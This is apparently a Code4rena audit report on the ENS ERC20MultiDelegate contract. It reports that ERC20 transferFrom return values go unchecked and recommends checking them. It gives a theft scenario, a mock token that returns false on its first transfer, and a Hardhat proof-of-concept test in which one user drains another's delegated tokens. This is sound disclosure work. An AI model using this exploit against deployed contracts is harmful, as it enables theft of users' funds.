ENS - xAriextz's results

Lines of code

Transfer from 1 not checked: https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L148 Transfer from 2 not checked: https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L160 Transfer from 3 not checked: https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L170

Vulnerability details

Impact

The transferFrom function in some ERC20 tokens returns false instead of reverting. As in the contract we don't check this, ERC20 tokens may not be transferred, but the ERC1155 balance will get updated. An attacker can use this for increasing his ERC1155 balance without losing ERC20 tokens, which would allow him to steal other users' ERC20 tokens.

Proof of Concept

As stated in the official Ethereum ERC-20 Token Standard: Callers MUST handle false from returns (bool success). Callers MUST NOT assume that false is never returned!. Link: https://eips.ethereum.org/EIPS/eip-20#specification.

Also, in the Discord chat it was stated from the dev that: The primary target for the token is to wrap $ENS. But the audit should consider any ERC20-compliant token that implements ERC20Votes as in-scope.

This is the reason why the contract should check the return value when using transferFrom with the ERC20 token. Even $ENS reverts when the transfer doesn't succeed, other tokens will just return false instead of reverting.

Attack scenario: a user, let's call it Deployer, delegates some tokens to Alice, but the ERC20 transferFrom returns false since the tokens couldn't be sent. Nevertheless, ERC1155 tokens were minted for Deployer. Another user called Ema, also delegates some tokens to Alice and everything goes correctly. The malicious user, Deployer, realices this, so he calls delegateMulti in order to have his tokens reimbursed. As he has ERC1155 balance, the burn will be correctly done and he will receive the ERC20 tokens. When Ema tries to reimburse these token, she won't receive any ERC20 tokens because the contract has no balance, but her ERC1155 tokens will be burnt.

More examples of some issues this will arise: tokens stuck in contracts without being able get them back since ERC1155 tokens were burnt when reimbursing, delegating between proxies, etc.

Here I add a test that represents something similar to the first example I explained. For simplicity, only the first transferFrom will fail. For this to happen, I created a MockToken which is the same as ENSToken contract, with the transferFrom override like this.

 function transferFrom(
      address from,
      address to,
      uint256 amount
    ) public override returns (bool) {
      if(firstTxMade) {
          address spender = _msgSender();
          _spendAllowance(from, spender, amount);
          _transfer(from, to, amount);
          return true;
       }
       else {
          firstTxMade = true;
          return false;
      }
    }

This will allow the Deployer to steal Ema's tokens, making her reimbursement revert. The test can be added to /test/delegatemulti.js, but the token used should be the MockToken instead of the ENSToken. It contains some comments in order to make it easier to follow the flow:

it('PoC no return value checked when calling safeTransferFrom', async () => {
  const delegatorTokenAmount = await token.balanceOf(deployer);
  // const customAmount = ethers.utils.parseEther('10000000.0'); // ens

  // give allowance to multi delegate contract
  await token.approve(multiDelegate.address, delegatorTokenAmount);
  // delegate multiple delegates
  const delegates = [alice];
  const amounts = delegates.map(() =>
    delegatorTokenAmount.div(delegates.length)
  );

  await multiDelegate.delegateMulti([], delegates, amounts);

  // Since the transfer failed, he still owns the tokens
  const delegatorTokenAmountAfter = await token.balanceOf(deployer);
  expect(delegatorTokenAmountAfter.toString()).to.equal(delegatorTokenAmount);

  // Even if no tokens where transferred, the ERC1155 balances where updated
  for (let delegateTokenId of delegates) {
    let balance = await multiDelegate.balanceOf(deployer, delegateTokenId);
    expect(balance.toString()).to.equal(
      delegatorTokenAmount.div(delegates.length).toString()
    );
  }

  // Now a random user, let's call it Ema, deletages to alice some tokens
  await increaseTime(365 * 24 * 60 * 60);
  const mintAmount = (await token.totalSupply()).div(50);
  await token.mint(ema.address, mintAmount);
  await token.connect(ema).approve(multiDelegate.address, mintAmount);
  await multiDelegate.connect(ema).delegateMulti([], delegates, [mintAmount]);

  // Since the transfer succeded, ema sent her tokens
  const emaTokenAmountAfter = await token.balanceOf(ema.address);
  expect(emaTokenAmountAfter.toString()).to.equal("0");

  // Now the deployer can steal the tokens that Ema delegated to Alice
  // since he has ERC1155 balace, but didn't send any tokens
  await multiDelegate.delegateMulti(delegates, [], [mintAmount]);
  expect(await token.balanceOf(deployer)).to.equal(delegatorTokenAmountAfter.add(mintAmount));

  // Now Ema cannot take out her tokens
  await expect(multiDelegate.connect(ema).delegateMulti(delegates, [], [180])).to
    .revertedWith("VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds balance'");

});

Tools Used

Manual review and Hardhat

Recommended Mitigation Steps

Check the return value when using safeTransferFrom in ERC20 tokens as required in the standard and revert the operation if it returns a false.

Assessed type

ERC20